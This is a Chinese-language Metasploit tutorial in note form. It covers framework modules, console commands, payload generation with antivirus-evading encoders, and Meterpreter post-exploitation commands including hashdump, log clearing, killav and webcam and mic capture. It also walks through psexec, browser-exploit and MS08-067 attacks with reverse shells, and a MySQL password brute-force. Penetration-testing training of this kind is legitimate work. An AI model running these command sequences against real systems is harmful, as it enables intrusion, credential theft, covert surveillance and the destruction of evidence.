目錄
MSF基本架構
Rex
- 基本功能庫,用於完成日常基本任務,無需人工手動編碼實現
- 處理socker連接訪問、協議應答(http/SSL/SMB等)
- 編碼轉換(XOR、Base64、Unicode)
MSF::Core
- 提供Msf的核心基本API,是框架的核心能力實現庫
MSF::Base
- 提供友好的API接口,便於模塊調用的庫
Plugin插件
- 連接和調用外部擴展功能和系統
MSF數據庫
恢復數據庫
- msfdb reinit 初始化數據庫
技術功能模塊(不是流程模塊)
都放置在/usr/share/metasploit-framework/modules/下
- Exploits:利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動)
- Payload:成功exploit之後,真正在目標系統執行的代碼或指令
- Shellcode或系統命令
- 三種Payload:/usr/share/metasploit-framework/modules/payloads/
(1)Single:all-in-one,所有內容都在一個payload
(2)Stager:目標計算機內存有限時,先傳輸一個較小的payload用於建立連接
(3)Stages:利用stager建立的連接下載的後續payload
- Stages、Stages都有多種類型,適用於不同場景
- Shellcode是payload的一種,由於其建立正向/反向shell而得名
- Auxiliary:執行信息收集、枚舉、指紋探測、掃描等功能的輔助模塊(沒有payload的exploit模塊)
- Encoders:對payload進行加密,躲避AV檢查的模塊
- Nops:提高payload穩定性及維持大小
MSF基本使用和控制檯命令(MSFconsole)
更新
- apt install metasploit-framework
地位
- 最流行的用戶接口
- 幾乎可以使用所有MSF功能
- 控制檯命令支持TAP自動補齊
- 支持外部命令的執行(系統命令等)
- 啓動:msfconsole / 安靜的啓動:msfconsole -q
- 退出:exit
幫助命令
- help 調出所有命令
- help workspace 查看命令詳細用法
- workspace -h
- ? workspace
MSF控制檯基本命令
- banner —— 顯示banner信息
- color —— 啓用/禁用顏色提示 —— color true/false
- connect —— 連接服務器的指定端口獲取工作在端口上工作的服務的banner信息 —— connect 192.168.1.1 80
- show —— 展示模塊信息 —— show payloads
show options ——顯示需要設置的項(進入模塊)
- search —— 搜索模塊 —— search ms08-067
search name:mysql cve:2020 platform:linux type:expoit
- load —— 調用外部插件 —— load nessus
- unload —— 刪除外部插件 —— unload nessus
- loadpath —— 調用指定目錄中的其他模塊 —— loadpath 路徑
- route —— 轉發一個會話的其他子網的流量 —— route add 子網地址 子網掩碼 sessionsID
- ird —— 開發環境
- resource —— 調用命令資源文件 —— 1.創建.rc文件輸入一系列命令,2.msf>下,resource 路徑/文件名3.也可以直接msfconsole -r 文件名
模塊內基本命令
- use —— 使用模塊 —— use exploit/windows/smb/ms08_067_netapi
- info —— 查看當前模塊信息
- 基本信息
- provided by:編者
- Available targets:使用的系統版本
- Basic options:需要設置的項
- payload information:payload信息
- show options —— 顯示需要設置的項
- show target —— 顯示適用的系統版本
- show payloads —— 顯示適用於當前模塊的payloads
- show advanced —— 顯示其他非必須項
- show evasion —— 做混淆
- show missing —— 顯示還未設置的必須參數
- set —— 設置參數 —— set RHOST 1.1.1.1
- unset —— 取消設置
- setg —— 全局設置 —— setg RHOSTS 1.1.1.1
- unsetg —— 取消全局設置
- save —— 保存配置信息
- edit —— 查看或修改當前模塊的源代碼
- check —— 檢查目標主機漏洞是否存在(並不是所有的模塊都有check命令)
- run/exploit —— 運行模塊(參數:-j表示後臺執行)
- sessions —— 如果後臺執行,輸入這個命令可以查看當前已經建立的會話(參數:-i 2(id)進入會話)
- back —— 返回上一級
數據庫操作
- db_rebuild_cache —— 在數據庫添加索引,加快搜索速度
- db_disconnect —— 斷開當前數據庫連接
- db_connect —— 連接數據庫 —— db_connect user:pass@host:port/(或者指定配置文件完整路徑,/usr/share/metasploit-framework/config/database.yml)
- db_nmap —— 集成nmap,掃描結果會保存在數據庫中 —— 參數和nmap參數一樣
- 查詢數據庫主機,hosts 123.57.251.23
- 搜索, hosts -S linux
- 端口信息, services -c port(要顯示的列) -p 80(要搜索的端口)
- creds —— 查看獲取到的登錄的賬號密碼
- vulns —— 查看數據庫中已查詢到的主機漏洞信息
- loot —— 查看獲取到的哈希值信息
- db_export —— 數據庫導出 —— db_export -f xml /home/kali/test.xml
- db_import —— 數據庫導入 —— db_import 文件名
Exploit模塊
Active exploits(主動exploit)
利用服務器開放端口漏洞
- 實例:利用psexec遠程執行漏洞攻擊windows
use exploit/windows/smb/psexec //使用Active exploit模塊
set RHOST 192.168.126.129 //配置被攻擊者Ip地址
set PAYLOAD windows/shell/reverse_tcp //配置payload
set LHOST 192.168.1.1 //配置接收反彈shell的主機地址(本機地址)
set LPORT 4444 //配置接收反彈shell的主機端口
set SMBUSER user1 //配置被攻擊者的管理員賬號
set SMBPASS pass1 //配置被攻擊者的管理員密碼
exploit //執行
Passive exploits(被動exploit)
利用客戶端程序漏洞
- 實例:利用ani_loadimage_chunksize模塊攻擊windows
use exploit/windows/browser/ani_loadimage_chunksize
set SRVHOST 192.168.126.131 //設置網站地址
set URIPATH / //設置網站路徑
set PAYLOAD windows/shell/reverse_tcp //設置payload
set LHOST 192.168.1.1 //設置監聽地址
set LPORT 4444 //設置監聽端口
exploit
生成payload
- search shell_bind_tcp //搜索payload
- use 40 //選擇要使用的payload
- show options //查看需要設置的參數,注意:在payload中,LPORT表示本地(被攻擊者)要開放的端口,RHOST表示允許獲取shell的遠程主機IP
- generate //生成16進制payload
- generate -b '\x00\xff’可以過濾掉壞字符)
- generate -e x86/nonalpha —— 手動指定encoder
- generate -b ‘\x00’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
- -b 排除壞字符,-t 輸出什麼格式,-e 指定encoder,-i 編碼幾輪,-k 不產生新的進程,-x 可以把payload綁定到的模板,-f /root/1.exe。
- nc 192.168.1.114 4444 —— 被攻擊者點擊文件後,開放4444端口,直接連接即可
- NOP(no-operation/Next Operation(無任何操作))
- EIP返回到存儲NOP sled的任意地址時將遞增,最終導致shellcode執行
- generate -s 14(給payload加上14字節的nop前綴)
Meterpreter
簡介
- 高級、動態、可擴展的Payload
- 基於meterpreter上下文利用更多漏洞發起攻擊
- 後滲透測試階段一站式操作界面
- 完全基於內存的DLL注入式payload(不寫硬盤)
- 注入合法系統進程並建立stager
- 基於Stager上傳和預加載DLL進行擴展模塊的注入(客戶端API)
- 基於Stager建立的socket連接建立加密的TLS/1.0通信隧道
- 利用TLS隧道進一步加載後續擴展模塊(避免網絡取證)
- 服務端用C語言編寫
- 客戶端提供基於ruby的全特性API(支持任何語言)
常用命令
- set payload windows/metepreter/reverse_tcp —— 配置payload的時候配置shell爲meterpreter
- windows和linux命令大部否都支持(ls,dir,cd,cat,mkdir,rmdir.mv,rm,edit(編輯類似vi))
- help —— 幫助
- pwd —— 查看當前空座目錄
- lpwd —— kali上當前工作目錄
- lcd —— 在kali上切換目錄
- run —— 運行腳本
- bgrun —— 後臺運行腳本 —— bgrun vnc(打開桌面監控)/sound_recorder(打開麥克風)/webcam(打開攝像頭)/killav(殺死殺毒軟件)/winbf(用肉機暴力破解)/
- clearev —— 清除日誌
- download —— 下載目標系統上的文件
- upload —— 上傳文件
- execute —— 執行文件 —— execute -f cmd.exe -i -H (-f 執行什麼程序,-i 交互,-H 隱藏)
- gituid —— 查看當前賬戶
- getsystem —— 提權到system
- getprivs —— 查看當前權限
- getproxy —— 獲取代理
- ps —— 查看當前工作着的進程
- getpid —— 查看自己注入的進程pid
- migrate —— 遷移注入的進程 —— migrate 652
- hashdump —— 獲取系統賬號密碼hash值
- sysinfo —— 查看系統信息
- kill —— 殺死進程 —— kill 1052
- reboot —— 重啓
- shutdown —— 關機
- shell —— 獲取操作系統shell
- show_mount —— 查看硬盤使用情況
- search —— 搜索文件 —— search -f data.ini
- arp —— 查看arp緩存
- netstat —— 查看端口開放情況
- ipconfig/ifconfig —— 查看ip地址
- idletime —— 查看操作系統空閒時間
- resource —— 調度外部資源文件(類似msf的resource)
- record_mic —— 記錄麥克風出現的聲音
- webcam_list —— 列出靶機上連接的所有攝像頭
- webcam_snap -i -v false —— 每隔1秒拍個照
Meterpreter python擴展
- 2015年11月份,來自社區的貢獻
- 無需運行環境,在客戶端運行原生python代碼
- load python (加載插件。meterpreter>環境下)
- Help
- python_execute “print(“Hello world!”)”
- python_execute “import os;cd = os.getcwd()” -r cd (-r 表示返回出來的變量)
- python_import -f find.py
實例
暴力破解mysql數據庫密碼
- 找到並使用mysql_login模塊
search mysql_login
use mysql_login
- 查看需要設置的項
show options
- 設置主機,用戶名,和密碼字典
set RHOSTS 127.0.0.1
set USERNAME lrf
set BLANK_PASSWORDS true //檢測空密碼
set PASS_FILE /home/kali/ruo.txt
- 執行
run/expoit //出現綠色加號證明成功
ms08-o67經典漏洞利用(xp)
- 找到並使用ms08-067
search ms08_067
use ms08_067_netapi
- 查看需要設置的項並挨個設置
show options
set RHOST 192.168.1.1
- 查看並設置主機系統版本
show targets
set target 34
- 查看並設置payloads
show payloads
set payload windows/shell/reverse_tcp
set lhost 192.168.1.1
- 執行
exploit